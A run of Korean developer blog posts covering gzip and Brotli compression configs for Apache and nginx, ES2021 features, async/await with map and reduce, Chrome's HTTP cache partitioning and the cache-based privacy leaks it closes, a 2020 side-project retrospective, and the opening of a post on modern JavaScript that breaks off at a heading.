이러한 압축 알고리즘으로 가장 널리 알려져 있는 것이 [gzip](https://ko.wikipedia.org/wiki/Gzip)이다. 최대 70%까지 사이즈를 줄여주는 가장 보편적인 압축 알고리즘이다. Gzip은 웹사이트 파일의 중복코드, 띄어쓰기의 양을 줄여서 동작하고, 9단계에 걸친 옵션을 제공하여 압축량과 압축에 걸리는 시간을 세세하게 조정할 수도 있다.

웹 사이트에서 Gzip을 제공하는 방법은 호스팅 공급자와 웹서버에 따라 달라진다.

아파치 서버의 경우, `.htacess`에 아래 코드를 추가하면 된다.

```bash
AddOutputFilterByType DEFLATE text/plain
AddOutputFilterByType DEFLATE text/html
AddOutputFilterByType DEFLATE text/xml
AddOutputFilterByType DEFLATE text/css
AddOutputFilterByType DEFLATE application/xml
AddOutputFilterByType DEFLATE application/xhtml+xml
AddOutputFilterByType DEFLATE application/rss+xml
AddOutputFilterByType DEFLATE application/javascript
AddOutputFilterByType DEFLATE application/x-javascript
```

nginx의 경우에는 다음과 같다.

```bash
gzip on;
gzip_comp_level 2;
gzip_http_version 1.0;
gzip_proxied any;
gzip_min_length 1100;
gzip_buffers 16 8k;
gzip_types text/plain text/html text/css application/x-javascript text/xml application/xml application/xml+rss text/javascript;
gzip_disable "MSIE [1-6].(?!.*SV1)";
gzip_vary on;
```

> 물론 이거 같다 붙힌다고 만사 해결이 되는 것은 아니다. 반드시 세세한 설정을 거쳐야 한다.

이렇듯 gzip은 설치가 용이하고, 압축도 잘되며, 압축에 걸리는 시간도 빠르기 때문에 널리 사용되고 있다.

## Brotli

- https://github.com/google/brotli
- https://en.wikipedia.org/wiki/Brotli
- https://aws.amazon.com/ko/about-aws/whats-new/2020/09/cloudfront-brotli-compression/

2013년, 구글은 웹 폰트 압축을 위해 Brotli라는 새로운 압축 알고리즘을 만들었으며, 2년 뒤인 2015년에는 HTTP 압축에 사용할 버전을 만들었다. 이는 앞서 언급한 GZip에 비해 많은 우위를 가지고 있었다.

![css file size](https://miro.medium.com/max/2000/1*j-3dAHj0pu5E1GmtD6eMuw.png)

![javascript file size](https://miro.medium.com/max/2000/1*i3xJiqPfF84H1h2Rt7na9w.png)

![overall](https://miro.medium.com/max/1400/1*_GVXtCwykvrPzclpIcpAsw.png)

[이 글](https://certsimple.com/blog/nginx-brotli)에 따르면 Brotli를 활용했을 경우 자바스크립트 파일의 경우 gzip에 비해 14%, HTML은 21%, css는 17% 더 작게 만들어 준다고 나와있다.

https://tools.keycdn.com/brotli-test 에서 brotli를 지원하는지 확인할 수 있다.

![yceffort blog](./images/yceffort-brotli.png)

> content-encoding이 br로 되어 있으면 brotli를 사용한다는 뜻이다.

### 적용하는 방법

**apache**

```bash
<VirtualHost *:443>
…
…
RewriteEngine On
RewriteCond %{HTTP:Accept-Encoding} br
RewriteCond %{DOCUMENT_ROOT}/%{REQUEST_FILENAME}.br -f
RewriteRule ^(.*)$ $1.br [L]
RewriteRule ".br$" "-" [NS,E=no-gzip:1,E=dont-vary:1]
<Files *.js.br>
  AddType "text/javascript" .br
  AddEncoding br .br
</Files>
<Files *.css.br>
  AddType "text/css" .br
  AddEncoding br .br
</Files>
<Files *.svg.br>
    AddType "image/svg+xml" .br
    AddEncoding br .br
</Files>
<Files *.html.br>
    AddType "text/html" .br
    AddEncoding br .br
</Files>
</VirtualHost>
```

[nginx-brotli](https://github.com/google/ngx_brotli)를 설치하여 제공할 수 있다.

**nginx**

```bash
http{
    brotli_static on;
    brotli_types text/plain text/css application/javascript application/x-javascript text/xml application/xml application/xml+rss text/javascript image/x-icon image/vnd.microsoft.icon image/bmp image/svg+xml;
}
```

자세한 내용은 https://www.tezify.com/how-to/use-brotli-compression/ 를 참조.

주의 할 것은, jpg, jpeg와 같이 이미 압축되어 있는 컨텐츠를 다시 압축할 필요는 없다는 것이다. 또한 html, js만 압축할 것이 아니라 xml, json등의 파일도 압축 대상에 포함시켜야 한다.

## 그러나

그러나 brotli는 ie에서 지원하지 않는다.

https://caniuse.com/brotli

![can-i-use-brotli](./images/can-i-use-brotli.png)

따라서, ie 환경을 고려하고 있다면 gzip 방식으로도 컨텐츠를 제공해야 한다.

---

Source: https://yceffort.kr/2020/12/preview-ES2021.md
Title: ES2021 미리보기
Description: 2021년엔 쓸만한 개발자가 되길 바라며
Date: 2020-12-26
Tags: javascript

https://github.com/tc39/ecma402/milestone/4

## String replaceAll()

String에서 replace를 하기 위해서는 `.replace('origin', 'change')` 를 썼지만, 모든 글자를 바꾸기 위해서는 `gi`를 활용해서 정규식 변환을 했었어야 했다.

```javascript
const a = '123123123'
a.replace('1', 'a') // "a23123123"
a.replace(/1/gi, 'a') // "a23a23a23"
```

이제 `replaceAll()`을 사용하면 된다.

```javascript
a.replaceAll(1, 'a') // "a23a23a23"
a.replace(/1/gi, 'a') === a.replaceAll(1, 'a') //true
```

## 논리적 할당 연산 (Logical Assignment Operator)

말이 조금 어렵지만(?) 밑에 예제를 보 면 알수 있다.

```javascript
let a = true
let b = 2
let c = 3

// 왼쪽이 참이면 a에 b를 할당한다.
a && (a = b)

a &&= b

// 왼쪽이 거짓이면 a에 b를 할당한다.
a || (a = b)
// 위 식은 아래와 같다
a ||= b

// 왼쪽이 nullish (null, undefined) 면 a를 b에 할당한다.
a ?? (a = b)
// 위 식은 아래와 같다
a ??= b
```

## 숫자 연산자 (Numeric Separators)

```javascript
const a = 1000000
const b = 1_000_000
const c = 1_000_000.123_456
const d = 1000000.123456

a === b // true
c === d // true
```

숫제가 길어지면 `,`를 찍는데, 이제 그것이 자바스크립트에서도 가능해진 것이다. 순전히 사람을 위한 기능이라고 보면 될것 같다.

## Promise.any()

`Promise.all()`과는 다르게, 배열중에 하나라도 먼저 끝나는게 있으면 그 결과를 리턴한다.

```javascript
const promise1 = new Promise((resolve) => setTimeout(resolve, 100, 'first'))
const promise2 = new Promise((resolve) => setTimeout(resolve, 300, 'second'))
const promise3 = new Promise((resolve) => setTimeout(resolve, 500, 'third'))

const promises = [promise1, promise2, promise3]

Promise.any(promises).then((value) => console.log(value))
```

만약 이 중에 하나라도 resolve가 되지 않으면, `AggregateError`를 리턴한다. 이 에러는 배열안의 모든 에러를 하나로 합쳐서 보여준다.

## WeakRef

자바스크립트에서는, 객체는 항상 강하게 참조되었다. 이 말은, 참고하고 있는 객체가 존재하는 이상, 절대로 메모리 내에서 객체가 가비지 컬렉팅이 되지 않는다는 것이다.

```javascript
var a, b
a = b = document.querySelector('.someClass')
a = undefined

// b는 여전히 document.querySelector('.someClass')를 참조한다.
```

위 예제에서는, 객체를 메모리에 계속해서 남겨 두고 싶지 않기 때문에, `WeakRef`를 사용하여 캐시나 큰 객체의 매핑을 구현할 수 있다. 사용하지 않는 경우에는, 메모리를 가비지 컬렉팅하여 필요할 때 마다 새로운 캐시를 생성할 수 있다.

```javascript
const x = new WeakRef(document.querySelector('.gatsby-highlight'))
const element = x.deref()
```

https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakRef

그러나 이 `WeakRef`는 가능한 사용을 피하라고 언급되어 있다. 가비지 컬렉터가 작동하는 타이밍, 방법, 및 실행 여부는 자바스크립트 엔진 구현에 따라 달려 있기 때문에 자바스크립트 엔진 마다 이 동작이 달라질 수 있기 때문이다.

---

Source: https://yceffort.kr/2020/12/javascrpt-async-await-in-map-and-reduce.md
Title: map과 reduce에서 async await 사용하기
Description: 당연한거 아님?
Date: 2020-12-22
Tags: javascript, async

```javascript
function sayHello(name) {
  return new Promise((resolve, reject) => {
    setTimeout(() => resolve(`Hello, ${name}`), 2000)
  })
}

const message1 = await sayHello('yceffort')
console.log(message1)
```

요런 비동기 함수가 있고, 이를 map으로 처리한다고 가정해보자.

```javascript
const names = [
  'yceffort1',
  'yceffort2',
  'yceffort3',
  'yceffort4',
  'yceffort5',
  'yceffort6',
]

const messages = names.map(async (name) => await sayHello(name))
console.table(messages)
```

이렇게 하면 될 것 같지만?

```text
(6) [Promise, Promise, Promise, Promise, Promise, Promise]
0: Promise {<pending>}
1: Promise {<pending>}
2: Promise {<pending>}
3: Promise {<pending>}
4: Promise {<pending>}
5: Promise {<pending>}
```

아쉽게도 모든 결과가 pending으로 뜬다. `await`은 `Promise` 객체만 기다려 주기 때문에 그런 것으로 보인다. 반변에 우리가 넘긴 것은 `list`다.

따라서 이를 정상적으로 실행하기 위해서는 `Promise.all`을 사용해야 한다.

```javascript
const promiseMessages = await Promise.all(
  names.map(async (name) => await sayHello(name)),
)
console.log(promiseMessages)
```

```javascript
;[
  'Hello, yceffort1',
  'Hello, yceffort2',
  'Hello, yceffort3',
  'Hello, yceffort4',
  'Hello, yceffort5',
  'Hello, yceffort6',
]
```

그렇다면 `reduce`의 경우에는 어떻게 처리하면 좋을까?

```javascript
const oddMessages = names.reduce(async (prev, current, index) => {
  if (index % 2 > 0) {
    return [...prev, await sayHello(current)]
  } else {
    return prev
  }
}, [])
```

이렇게 하면 당연히 안될 것이다. 여기에서 `prev`는 기존의 값이 아닌 `Promise`일 것이다.

```javascript
const oddMessages = await names.reduce(async (prev, current, index) => {
  const prevResult = await prev.then()
  if (index % 2 === 0) {
    const result = await sayHello(current)
    return Promise.resolve([...prevResult, result])
  } else {
    return Promise.resolve(prevResult)
  }
}, Promise.resolve([]))
```

기존에 있던 모든 return을 `Promise.resolve`로 감싸고, 이전에 넘어온 `prev`는 `then`처리를 했다.

```javascript
;['Hello, yceffort1', 'Hello, yceffort3', 'Hello, yceffort5']
```

---

Source: https://yceffort.kr/2020/12/partitioning-cache.md
Title: 파티셔닝 캐시 (partitioning cache)
Description: Google Font 를 써도 이제 캐시 효과는 못받겠네요
Date: 2020-12-17
Tags: web-performance, browser, security

일반적으로 캐싱은 데이터를 저장해두었다가, 다시 요청할 때 이를 요청하지 않고 저장한 데이터를 불러와서 성능을 향상시켜 요청이 더 빨리 처리되도록 한다. 예를 들어, 네트워크의 캐시된 리소스는 서버로 왔다리 갔다리 하는 일을 피할 수 있다. 캐시된 결과는 동일한 계산을 수행하는 것을 막을 수 있다. 크롬에서는, 이러한 캐싱을 위한 여러가지 메커니즘이 있으며, HTTP 캐시를 그중 하나로 예를 들 수 가 있다.

## Chrome 85 까지의 캐싱 동작

크롬 85 버전 까지는, 크롬은 네트워크로 부터 요청한 데이터를 캐싱하는데 있어서 각 리소스 URL을 캐시키로 활용했다. 아래 예를 살펴보자.

1. `https://a.example`에서 `https://x.example/doge.png`를 요청했다. 이 미지는 `https://x.example/doge.png`를 캐시키로 캐싱이 된다.
2. 1과는 다른 `https://b.example`에서 1과 동일한 이미지인 `https://x.example/doge.png`를 요청했다. 브라우저는 HTTP 캐시를 확인할 때 해당 미지 URL 키를 기준으로 검사하여 이 리소스가 캐시되었는지 확인한다. 1에서 이미 캐시를 했었으므로 캐시된 리소스 버전을 사용한다.
3. `https://c.example`에서 iframe 으로 `https://d.example`를 요청하고, 이 `https://d.example`에서 `https://x.example/doge.png` 를 요청했다고 가정해보자. 이 경우에도 마찬가지로 리소스 URL을 캐시키로 활용하기 때문에 캐싱된 이미지를 사용한다.

이러한 매커니즘은 성능이라는 관점에서 굉장히 잘 작동하므로 오랫동안 이용되어 왔다. 그러나 HTTP 요청에 응답하기 위해 웹 사이트가 필요로 하는 이 시간은, 과거 브라우저가 동일한 리소스에 액세스 했다는 것을 식별할 수 이으며, 이는 브라우저를 다음과 같은 보안 공격에 취약하게 만든다.

1. 유저가 특정한 사이트를 방문했는지를 식별할 수 있음: 공격자는 캐시에 특정 사이트 또는 사이트 cohort에 해당하는 리소스가 있는지 확인하여 사용자의 검색 기록을 탐지할 수 있다.
2. [크로스 사이트 검색 공격](https://portswigger.net/daily-swig/new-xs-leak-techniques-reveal-fresh-ways-to-expose-user-information): 공격자는 특정 웹 사이트에 사용하는 '검색 결과 없음' 이미지가 브라우저의 캐시에 있는지 확인하여, 사용자의 검색 결과에 특정 문자열이 있는지 여부를 확인할 수 있다.
3. 크로스 사이트 트래킹: 이 캐시를 사용하여 쿠키와 유사한 식별자를 크로스 사이트 트래킹 매커니즘으로 악용할 수 있다.

이런 이유 때문에, 크롬에서는 86부터 (사파리는 이미 적용된듯) 파티셔닝 HTTP 캐시 전략을 사용하기로 결정했다.

## 캐시 파티셔닝이 크롬 HTTP 캐시에 미치는 영향

캐시 파티셔닝을 사용하면, 캐시된 리소스는 리소스 URL 외에 추가로 'Network Isolation Key'를 활용하여 키를 만든다. 이 키는 최상위 사이트와 현재 프레임 사이트로 구성된다.

이 전략을 사용하면, 위의 예제가 아래처럼 바뀌게 된다.

1. `https://a.example`에서 `https://x.example/doge.png`를 요청한다. 이 경우 캐시키는 아래오 같이 구성될 것이다. (위에서 부터 top-level site, current-frame site, resource url)

```bash
{
  https://a.example,
  https://a.example,
  https://x.example/doge.png
}
```

2. `https://b.example`에서 `https://x.example/doge.png`를 요청한다. 1에서 같은 이미지를 요청했음에도 불구하고, 캐시 키가 일치하지 않기 때문에 캐시를 불러오지 않는다.

```bash
{
  https://b.example,
  https://b.example,
  https://x.example/doge.png
}
```

3. `https://a.example`에서 iframe으로 embedded 된 `https://a.example`를 불러오는 경우. 여기에서 같은 이미지 `https://x.example/doge.png` 를 요청했다고 가정해보자. 이 경우에는 캐시를 불러올 수 있다.

```bash
{
  https://a.example,
  https://a.example,
  https://x.example/doge.png
}
```

4. `https://a.example`에서 iframe으로 embedded 된 `https://c.example`를 불러오는 경우. 여기에 같은 이미지 리소스를 불러온 다 하더라도, frame이 다르기 때문에 캐시키를 불러올 수 없다.

```bash
{
  https://a.example,
  https://c.example,
  https://x.example/doge.png
}
```

5. `https://a.example`의 서브 도메인 `https://sub.a.example`에서 iframe으로 embedded 된 `https://c.example:8080`를 불러오는 경우. 이 경우엔 키는 `"scheme://eTLD+1"` 전략으로 생성되기 때문에, 4번에서 생성한 캐시를 가져올 수 있게 된다.

```bash
{
  https://a.example,
  https://c.example,
  https://x.example/doge.png
}
```

6. `https://a.example`에서 `https://b.example`를 embedded하고 또 이것이 `https://c.example`를 불러오는 경우. 이 경우에는 top-site 가 기준이므로 캐시키는 아래와 같이 생성되고, 이경우에도 4번의 캐시키를 히트 할 수 있다.

```bash
{
  https://a.example,
  https://c.example,
  https://x.example/doge.png
}
```

## 적용되었는지 확인하는 법

https://www.zdnet.com/article/chromes-new-cache-partitioning-system-impacts-google-fonts-performance/

1. `chrome://net-export/`로 진입해서 `Start Logging to Disk`를 누른다.
2. 로그를 저장할 위치를 고른다
3. 크롬에서 웹 서핑을 한다
4. 1번으로 돌아가서 로깅을 멈춘다.
5. https://netlog-viewer.appspot.com/#import 로 들어간다
6. 저장한 로그 파일을 업로드 한다.

`SplitCacheByNetworkIsolationKey`에서 `Experiment_`로 되어 있다면 파티셔닝 캐시가 활성화 되어 있는 것이다. `Control_`나 `Default_`는 활성화 되지 않은 것이다.

```bash
SplitCacheByNetworkIsolationKey:Experiment_Triple_Key_20201210
```

내 경우엔 활성화 되어 있었다.

## 테스트 하는법

크롬을 `--enable-features=SplitCacheByNetworkIsolationKey`와 [함께 실행하면 된다.](https://www.chromium.org/developers/how-tos/run-chromium-with-flags)

## 개발자가 취해야할 조치

breaking change는 아니지만, 일부 웹서비스의 성능에 대한 고려를 해볼 수 있다. 글꼴이나 인기 있는 스크립트를 제공하는 CDN 사이트의 경우 트래픽 요청이 증가할 수 있다.

> 예를 들어 google font를 사용한다고 해서 이제 웹 사이트의 성능적인 이점을 누릴 수 없다. 여기저기서 범용적으로 사용하는 google font를 사용한다 하더라도, 파티셔닝 캐시로 인해서 캐시를 히트하지 못하고, 이는 사이트 방문시에 같은 폰트를 다른 사이트에서 쓴적이 있다 하더라도 새롭게 받을 것이다. 따라서 그냥 google font를 쓰는 것보다 폰트나 리소스를 self-hosting 하는게 낫다.

## 성능에 미치는 영향

전체 캐시 누락률이 약 3.6% 정도 증가하고, FCP (First Contentful Paint)가 0.3%, 네트워크에서 로드되는 전체 바이트 비율이 4%정도 증가할 수 있다.

## 브라우저 별 차이

[HTTP cache partitions은 fetch 표준](https://fetch.spec.whatwg.org/#http-cache-partitions)이다. 그러나 브라우저 별로 약간의 차이가 있다.

- Chrome: top-level 과 프레임에 `scheme://eTLD+1`를 사용한다.
- Safari: top-level `scheme://eTLD+1`를 사용한다. [참고](https://webkit.org/blog/8613/intelligent-tracking-prevention-2-1/)
- Firefox: [적용 예정](https://bugzilla.mozilla.org/show_bug.cgi?id=1536058) top-level `scheme://eTLD+1`를 사용하며, 크롬처럼 2번째 키 사용을 고려중

출처: https://developers.google.com/web/updates/2020/10/http-cache-partitioning

---

Source: https://yceffort.kr/2020/12/side-project-diary-2020.md
Title: 2020년 사이드 프로젝트 회고
Description: 이거 좀 재밌네여
Date: 2020-12-15
Tags: career, nextjs, typescript

2020년에도 많은 사이드 프로젝트를 진행했다. 대다수의 사이드 프로젝트는 웹 애플리케이션으로 제작했고, 서버와 프론트 데이터베이스를 구축했어야 했고, 이것들을 어떻게 구축했는지, 그리고 어떤 것을 느꼈는지 간단하게 요약하고자 한다.

## 개발환경

- nextjs
- react
- typescript (급할 땐 javascript도 함)
- firestore
- cloud functions
- github
- vercel
- styled component

### nextjs

nextjs는 Server Side React 환경을 구축하는데 있어서 필수적인 라이브러리로 자리잡은 것 같다. 비단 SSR 때문 만이 아니더라도, 라우팅을 하는데 있어서도 편하게 적용할 수 있었다. `/pages` 폴더 하단에 디렉토리 구조로 만 설정해두면, 알아서 라우팅을 구성하기 때문에 굉장히 좋았다.

다만 이 방법의 한계는 당연하게도 라우팅이 복잡해 질수록 디렉토리 관리가 어려워 진다는 것이다. 가령 path param으로 `/id`를 가져오기 위해서 `[id].js`를 만들어 두면, 이 파일을 찾는 것도 피곤하고 관리하기도 어려웠다.

![next-path](./images/next-path.png)

> `[id].js` 라는 파일이 많아지면,, 이제 감당할 수 없는 미래...

그래서 `api`에서는 귀찮아지니까 그냥 다 query param으로 가져오는 방식으로 변경해버렸다.

혹은 불가피 하게 라우팅이 복잡해지면, `koa`를 별도 서버를 둬서 페이지 분기를 여기에서 처리하도록 만들었다. 이는 이전 회사에서 즐겨 쓰던 방식으로, 굳이 복잡하게 디렉토리 구조를 만들지 않아도 되서 유용했다. (감사합니다.)

하지만 대부분의 사이드 프로젝트가 라우팅이 복잡했던 것은 아니므로, 이 방법은 많이 쓰지 않았다.

### react

jquery 부터 웹 개발을 해오면서, 이제는 react가 어느정도 front 개발의 표준으로 자리잡은 것 같다. 물론 이러한 react에 대한 아쉬움 내지는 성토의 글도 있었지만, 많은 수의 프로젝트들이 react로 쓰여지면서 커뮤니티가 커지고, 그에 따른 많은 편의성을 얻은 것도 사실이다. 나 또한 모든 사이드 프로젝트에서 웹 애플리케이션이 필요할 때 마다 리액트를 선택했고, 이는 탁월한 선택이었다. 이에 관해 흥미로운 글이 있었는데 한번 읽어보면 좋을 것 같다.

https://jake.nyc/words/no-one-ever-got-fired-for-choosing-react/

누구도, 리액트를 고른다고 해서 해고되는 것은 아니다.

> I have heard from many developers who have told me that they accepted the argument that vanilla JavaScript or microlibraries would let them write leaner, meaner, faster apps. After a year or two, however, what they found themselves with was a slower, bigger, less documented and unmaintained in-house framework with no community. As apps grow, you tend to need the abstractions that a framework offers. Either you or the community write the code.

### typescript

사실 타입스크립트가 협업을 하는 경우에 한해서 좋다고 생각해서, 초창기 사이드 프로젝트를 진행할 때에는 자바스크립트로 진행을 했었다. 물론 어느 정도 타입과 이런저런 제약에 벗어나서 정말 편리했고, 일정수준 프로젝트가 커지지 않는다면 생산성도 향상됐다.

문제는 내 스스로가 만든 데이터 구조가 복잡해지면서 내 머리로 조차 기억하지 못하고 급기야 버그를 만들기 시작했다는 것이었다. (오오 33살,,,) 그렇게 타입과 갖가지 버그로 인해 혼란을 겪고 나니, 이럴거면 초창기에 타입을 잘 선언해두고 프로젝트를 꾸몄다면 이런 혼선을 줄일 수 있었을 거라는 아쉬움이 남았다.

그래서 앞으로는 그냥 혼자 하든, 둘이 하든 지간에 타입스크립트로 진행하고자 마음먹었다. 잘 선언해둔 타입으로 프로젝트를 꾸미게 되면, 이후에 데이터 구조를 가져다 쓸 때도, 리팩토링을 할 때도 많은 도움을 얻을 것 같다.

### firestore

부끄럽고 미련하게도 초창기에는 SQL을 node와 연결해서 썼었다. 그러나 스키마 구성, 트랜잭션 관리, 테이블 관리 등을 겪고 나니 배보다 배꼽이 더 큰 느낌이었고, 빠르게 가져다 쓸 수 있는 NoSQL을 찾던 와중에 Firebase의 firestore 을 쓰기 시작했다. SQL 데이터 베이스를 구성하는데 걸린 시간을 제로에 가깝게 줄일 수 있었고, 데이터 관리 또한 JSON 형태로 아주 편하게 가져다 쓸 수 있었다.

다만 join 이나 or, in 과 같은 식의 복합쿼리는 안되기 때문에 어느 정도의 불편함을 감수해야 했다.

https://firebase.google.com/docs/firestore/query-data/queries?hl=ko

> Cloud Firestore는 다음 유형의 쿼리를 지원하지 않습니다.

> - 이전 섹션에서 설명한 것과 같이 여러 필드에 범위 필터가 있는 쿼리
> - 논리적 OR 쿼리: 이 경우 각 OR 조건에 해당하는 별도의 쿼리를 만들고 앱에서 쿼리 결과를 병합해야 합니다.
> - `!=` 절을 사용하는 쿼리: 이 경우 쿼리를 초과 및 미만 쿼리로 분할해야 합니다. 예를 들어 `where("age", "!=", "30")` 쿼리 절은 지원되지 않지만 `where("age", "<", "30")` 절이 있는 쿼리 하나와 `where("age", ">", 30)` 절이 있는 쿼리 하나를 결합하면 동일한 결과 집합을 얻을 수 있습니다.

예컨데 장바구니와 같은 데이터 베이스를 꾸밀일이 있었는데, 이를 조회하기 위해서 불가피하게 2n 회로 데이터 조회를 요청할 수 밖에 없었다.

![firestore](./images/firestore-quota.png)

그러다 보니 개발 단계에서 마저도 읽기 횟수가 눈에 띄게 튀기 시작했다. 아직 눈에 띄게 document가 있지 않은 상태라 무료 수준에서 커버를 치고 있지만, document가 늘어 나면 이제 모든 쿼리를 쓰는데 신중에 신중을 기하게 될 것이다. (한번 읽기 마다 `0.06$`)

https://firebase.google.com/docs/firestore/pricing

없는 살림에 GCP를 이것저것 쓰고 있기 때문에 굉장히 덜덜덜 하고 있는데,, 부디 나에게 예산 알림이 오는날이 없었으면 한다. 그리고 그날이 온다면, mock을 잘만들어서, 쿼리를 잘만들어서 대처해보는 걸로...

### Cloud functions

cloud function은 slack, survey monkey, jandi 등의 웹 훅 용으로 유용하게 썼다. 함수 하나만 클라우드에 올려서 서버 없이 쓸 수 있기 때문에 굉장히 유용했다. firestore에 비해서 가격도 비교적 저렴해서 (그리고 애초에 많이 호출되는 함수도 아니었지만) 안심하고 여러 함수를 서버없이 잘 사용했다. 예전에 이거 하자고 인스턴스 따고 보안규칙 따고 생쇼를 했던 과거에 비하면, 너무나도 편리하다.

![cloud functions](./images/cloud-functions.png)

[최근에는 블로그 썸네일 생성기로도 사용하기도 했다.](/2020/12/generate-serverless-thumbnail) 감사합니다. 다음엔 꼭 픽셀 폰 싸서 보답하겠습니다.

### vercel

heroku의 시대가 가고, 이제는 vercel 의 시대가 온 것 같다. 웹 애플리케이션을 프로덕션에 올리는 용도로는 망설임없이 vercel을 썼다. heroku에 비해 기능은 rich 하지 않지만 필요한 기능만 들어있고, (heroku는 너무 이것저것 많은 기분이다) 배포도 용이하며, 무엇보다 github 에 integration 할 수 있다는 점이 매력적이다.

https://github.com/yceffort/yceffort-blog-v2/pull/222#issuecomment-740369078

또한 가격도 heroku 보다 저렴했다. 웹 애플리케이션 당 가격이 아니고 한 member 당 가격을 책정하기 때문에 20달러에 프로 계정으로 나 혼자 잘 먹고 잘 쓰고 있다. (프로 계정은 최대 10명의 멤버, 50 도메인, 1000gb의 bandwidth 제한이 있다.)

![vercel1](./images/vercel1.png)

![vercel2](./images/vercel2.png)

### github

마이크로소프트에 인수된 뒤로 나날이 발전하고 있는 github 도 빼 놓을 수 없다. github action 덕분에 CI, CD 등도 편리하게 수행할 수 있었고, 각종 bot을 통해서 다양한 작업을 할 수 있었다. 또한 cron job 도 편리하게 이용할 수 없었다. 기존에는 클라우드에 인스턴스 띄워서 크론 설정하고, https://healthchecks.io/ 로 healthcheck 까지 확인했다면, 이제는 github action 하나면 충분하다.

또한 유용하게 썼던 것 중 하나는 github code spaces 다. 개발 환경이 불안정했던 외부에서도 인터넷만 연결되어 있다면, codespaces로 편리하게 개발을 할 수가 있었다.

pro 계정을 활용하면서 private repository도 자유롭게 꾸민 것이 개인적으로 많은 도움도 되었다. 내 작업물 대다수가 private 으로 되어 있어서 많은 코드를 세상과 공유(?) 하지 못했지만, 그래도 덕분에 각종 예민한 private key를 편하게 관리할 수 있었다.

올해에는 dark 모드 까지 지원되었는데, 앞으로도 github에서 더욱 rich한 기능을 지원해 줬으면 좋겠다.

### styled-component 그리고 css

css-in-js 에 대해서는 이제는 하나의 흐름이라고 개인적으로 생각했다.

- Global namespace
- Dependencies
- Dead Code Elimination
- Minification
- Sharing Constants
- Non-deterministic Resolution

하지만 지나가다가 본 글이 있는데, 보면서 이런저런 생각을 하게 됐다.

- https://blueshw.github.io/2020/09/27/css-in-js-vs-css-modules/
- https://blueshw.github.io/2020/09/14/why-css-in-css/

각자의 장단이 있는 것 같고, 글쓴이의 의도에도 적극 공감한다.

그러나 이와 별개로 문제는 내가 css에 대한 이해와 디자인 감각이 현저히 떨어진다는 것이다.🤪 내년에는 정녕 css를 공부해야 하는 것일까. 이쁘게는 못하더라도 (이미 디자인에 감각이 없다는 것을 블로그가 증명하고 있다), 기본적인 css에 대한 이해도 아직은 조금 부족하고, 더 공부해야 겠다는 생각이 든다.

## 마치며

일하는 회사에서 이것저것 새로운 최신의 기술, 내가 배웠던 다른 코드들을 모두 적용해 볼 수 있으면 정말 좋다. 돈도 받고, 공부도 하고, 개인적으로 성장도 할 수 있고 회사 연말 평가에 반영할 수도 있다.

그러나 아쉽게도 회사 업무에서 펼칠 수 있는 상상의 나래는 한정적이다. 기존에 쓰고 있는 기술은 한정적이고 뒤쳐져 있으며, 설득해야 하는 사람은 많고 새로운 것에 대한 반론 또한 존재한다. 이미 잘되고 있는 레거시가 있는데 굳이 왜? 그렇다고 내가 모든 책임을 다 안고 시도하기엔, 일단 나부터가 쫄린다. 로컬에선 잘됐는데? 알파에선 잘됐는데? 라는 변명으로 막을 것인가? 또한 개발자만 있는게 아니다. 기획자 분들도, 테스터 분들도, 그리고 높으신 양반들도 있다. 개발자 입장에서는 아무런 변화가 없는 코드라고 자신할 수 있지만, 그들의 눈에서는 테스트해야할 골칫거리가 하나 더 생기는 것 뿐일지도 모른다.

![sorry](./images/sorry.png)

> 미안합니다,,,

이런 저런 이유로 미루어, 사이드프로젝트는 개발자로서의 성장, 그리고 킬링타임을 위해 필수인 것 같다. 비록 아무도 안보는 블로그지만, 그게 오히려 좋다. CSR을 SSR 바꾸고, 새로운 기술을 적용해보고 공부해 볼 수도 있고 트렌드에 뒤쳐지지 않을 수도 있다. 버그로 프로젝트가 망가져도 트래픽은 잃을 지언정 아무도 뭐라고 하지 않으며, 부담없이 새로운일을 해볼 수 있다. 개발자가 된 이후로 몇년만에 처음으로, 각종 컨퍼런스의 타이틀을 보고 '다 아는 기술이구만' 이라며 고개를 끄덕여 봤다.

새로운 기술, 코드가 있는데 회사에서 시도할 수가 없다? 회사에서 잘 만들어 놓은 사내 서비스 보다 AWS, GCP를 써보고 싶다? 체크카드를 꺼내서 payment를 등록하고 지금 당장 나만의 프로젝트를 만들어서 공부해보자. 기술은 많고, 내가 써본 것은 손에 꼽는다. 이대로 회사일만 하기엔, 밖에는 재밌는게 너무 많다.

---

Source: https://yceffort.kr/2020/12/modern-javascript-for-fast-applications.md
Title: 더 빠른 웹 애플리케이션을 위한 모던 자바스크립트
Description: 아니 그래서 IE 11 언제 없앨 건데요
Date: 2020-12-15
Tags: javascript, web-performance

오늘날 90%가 넘는 브라우저가 모던 자바스크립트를 실행할 수 있음에도 불구하고, 레거시 자바스크립트는 오늘날 웹 성능 문제에 큰 원인 중 하나로 남아 있다. ES2017 문법을 사용하여 웹 페이지 또는 패키지를 작성하고 퍼블리싱 하면 성능을 매우 향상 시킬 수 있다.

## 모던 자바스크립트란 무엇일까

모던 자바스크립트는 특정 ECMAScript 버전으로 작성된 코드를 말하는게 아니고, 모던 브라우저에서 지원하는 문법으로 이루어진 것을 의미한다. 크롬, 엣지, 파이어폭스, 사파리와 같은 모던 웹 브라우저는 브라우저 시장의 90% 이상을 차지하고 있으며, 이 렌더링 엔진에 의존하는 다른 브라우저가 5% 쯤 된다. 따라서 글로벌 웹 트래픽의 95%가 지난 10년간 가장 널리 사용되는 자바스크립트 언어 기능을 지원하는 브라우저에서 비롯된다.

> 아마도 엣지 레거시와 구 IE를 제거한 수치로 보면 될 것 같다. 우리나라에서는 약 93% 정도 된다.

여기서 말하는 문법은 이정도다.

- 클래스 (ES2015)
- 화살표 함수 (ES2015)
- 제네레이터 (ES2015)
- 블록 스코프 (ES2015)
- 디스트럭쳐링 (ES2015)
- 전개 연산자 (ES2015)
- 객체 축약 (ES2015)
- async await (ES2017)

이 후에 나온 기능, 예를 들어 ES2020, ES2021에 나온 기능들은 브라우저의 70% 정도가 지원한다. 여전히 70%면 많은 수치이지만, 그 기능에 온전히 기대는 것은 안전하지 않다. 따라서 모던 자바스크립트를 타겟으로 한다면, 가장 널리 알려져 있으며 지원하는 브라우저가 많은 ES2017 정도가 적당해 보인다. 다른 말로 하자면, ES2017이 오늘날의 가장 모던한 문법인 것이다.

> 물론 이 글은 2020년 12월 15일에 작성되어 있습니다. 시간이 흐르면 더 달라지겠죠?

https://dev.to/garylchew/bringing-modern-javascript-to-libraries-432c

## 레거시 자바스크립트

